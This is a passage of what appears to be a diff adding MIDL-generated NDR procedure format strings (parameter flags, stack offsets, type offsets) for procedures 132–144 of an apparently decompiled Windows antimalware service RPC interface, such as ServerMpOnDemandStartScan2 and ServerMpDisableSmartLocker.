arg_1 */ + +/* 7332 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7334 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7336 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7338 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7340 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7342 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc132_ServerMpXBGMUpdateIV */ + +/* 7344 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7346 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7350 */ NdrFcShort( 0x84 ), /* 132 */ +/* 7352 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 7354 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7356 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7358 */ NdrFcShort( 0x39 ), /* 57 */ +/* 7360 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7362 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 7364 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7366 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7368 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7370 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7372 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7374 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7376 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7378 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7380 */ NdrFcShort( 0x148 ), /* Flags: in, base type, simple ref, */ +/* 7382 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7384 */ 0x2, /* FC_CHAR */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 7386 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7388 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7390 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 7392 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7394 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7396 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7398 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7400 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7402 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + +/* 7404 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7406 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7410 */ NdrFcShort( 0x85 ), /* 133 */ +/* 7412 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7414 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7416 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7418 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7420 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7422 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x3, /* 3 */ +/* 7424 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 7426 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7428 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7430 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7432 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7434 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 7436 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7438 */ NdrFcShort( 0xa1e ), /* Type Offset=2590 */ + + /* Parameter arg_2 */ + +/* 7440 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7442 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7444 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7446 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7448 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7450 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + +/* 7452 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7454 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7458 */ NdrFcShort( 0x86 ), /* 134 */ +/* 7460 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7462 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7464 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7466 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7468 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7470 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 7472 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 7474 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7476 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7478 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7480 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7482 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 7484 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7486 */ NdrFcShort( 0xa5c ), /* Type Offset=2652 */ + + /* Parameter arg_2 */ + +/* 7488 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7490 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7492 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7494 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7496 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7498 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc135_ServerMpOnDemandStartScan2 */ + +/* 7500 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 7502 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7506 */ NdrFcShort( 0x87 ), /* 135 */ +/* 7508 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 7510 */ NdrFcShort( 0x30 ), /* 48 */ +/* 7512 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 7514 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xb, /* 11 */ +/* 7516 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 7518 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7520 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7522 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7524 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7526 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7528 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7530 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7532 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7534 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7536 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 7538 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7540 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7542 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 7544 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7546 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7548 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 7550 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 7552 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7554 */ NdrFcShort( 0x3e0 ), /* Type Offset=992 */ + + /* Parameter arg_6 */ + +/* 7556 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7558 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7560 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 7562 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7564 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 7566 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_8 */ + +/* 7568 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 7570 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 7572 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_9 */ + +/* 7574 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 7576 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 7578 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_10 */ + +/* 7580 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7582 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 7584 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7586 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7588 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 7590 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc136_ServerMpQueryDefaultFolderGuardList */ + +/* 7592 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7594 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7598 */ NdrFcShort( 0x88 ), /* 136 */ +/* 7600 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7602 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7604 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7606 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7608 */ NdrFcShort( 0x40 ), /* 64 */ +/* 7610 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 7612 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 7614 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7616 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7618 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7620 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7622 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7624 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7626 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7628 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 7630 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7632 */ NdrFcShort( 0xa7a ), /* Type Offset=2682 */ + + /* Parameter arg_3 */ + +/* 7634 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7636 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7638 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7640 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7642 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7644 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc137_ServerMpRpcTriggerStatusRefreshNotification */ + +/* 7646 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7648 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7652 */ NdrFcShort( 0x89 ), /* 137 */ +/* 7654 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7656 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7658 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7660 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7662 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7664 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 7666 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7668 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7670 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7672 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7674 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7676 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7678 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7680 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7682 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7684 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7686 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc138_ServerMpRpcGetHIPSRuleInfo */ + +/* 7688 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7690 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7694 */ NdrFcShort( 0x8a ), /* 138 */ +/* 7696 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7698 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7700 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7702 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7704 */ NdrFcShort( 0x40 ), /* 64 */ +/* 7706 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 7708 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 7710 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7712 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7714 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7716 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7718 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7720 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7722 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7724 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 7726 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7728 */ NdrFcShort( 0xa98 ), /* Type Offset=2712 */ + + /* Parameter arg_3 */ + +/* 7730 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7732 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7734 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7736 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7738 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7740 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc139_ServerMpEnableSmartLocker */ + +/* 7742 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7744 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7748 */ NdrFcShort( 0x8b ), /* 139 */ +/* 7750 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7752 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7754 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7756 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7758 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7760 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 7762 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7764 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7766 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7768 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7770 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7772 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7774 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7776 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7778 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7780 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7782 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc140_ServerMpDisableSmartLocker */ + +/* 7784 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7786 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7790 */ NdrFcShort( 0x8c ), /* 140 */ +/* 7792 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7794 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7796 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7798 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7800 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7802 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 7804 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7806 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7808 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7810 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7812 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7814 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7816 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7818 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7820 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7822 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7824 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc141_ServerMpXBGMUpdateIV */ + +/* 7826 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7828 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7832 */ NdrFcShort( 0x8d ), /* 141 */ +/* 7834 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 7836 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7838 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7840 */ NdrFcShort( 0x18 ), /* 24 */ +/* 7842 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7844 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 7846 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 7848 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7850 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7852 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7854 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7856 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7858 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7860 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7862 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 7864 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7866 */ NdrFcShort( 0x8ce ), /* Type Offset=2254 */ + + /* Parameter arg_3 */ + +/* 7868 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7870 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7872 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 7874 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7876 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7878 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7880 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7882 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7884 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc142_ServerMpFlushLowfiCache */ + +/* 7886 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7888 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7892 */ NdrFcShort( 0x8e ), /* 142 */ +/* 7894 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7896 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7898 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7900 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7902 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7904 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 7906 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7908 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7910 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7912 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7914 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7916 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7918 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7920 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7922 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7924 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7926 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc143_ServerMpRpcGetAsrBlockedProcesses */ + +/* 7928 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7930 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7934 */ NdrFcShort( 0x8f ), /* 143 */ +/* 7936 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 7938 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7940 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7942 */ NdrFcShort( 0x4c ), /* 76 */ +/* 7944 */ NdrFcShort( 0x40 ), /* 64 */ +/* 7946 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x6, /* 6 */ +/* 7948 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 7950 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7952 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7954 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7956 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7958 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 7960 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7962 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 7964 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7966 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7968 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 7970 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7972 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7974 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 7976 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 7978 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7980 */ NdrFcShort( 0xad2 ), /* Type Offset=2770 */ + + /* Parameter arg_5 */ + +/* 7982 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7984 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7986 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7988 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7990 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 7992 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc144_ServerMpRpcGetAsrBlockedActions */ + +/* 7994 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7996 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8000 */ NdrFcShort( 0x90 ), /* 144 */ +/* 8002 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 8004 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8006 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8008 */ NdrFcShort( 0x54 ), /* 84 */ +/* 8010 */ NdrFcShort( 0x40 ), /* 64 */ +/* 8012 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x7, /* 7 */ +/* 8014 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 8016 */ NdrFcShort( 0x1 ), /* 1 */ +/* 8018 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8020 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8022 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8024 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 8026 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8028 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 8030 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8032 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8034 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 8036 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8038 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8040 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 8042 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8044 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8046 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 8048 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 8050 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8052 */ NdrFcShort( 0xb02 ), /* Type Offset=2818 */ + + /* Parameter arg_6 */ + +/* 8054 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8056 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8058 */ 0x10, /* FC_ERROR_STATUS_T */ + 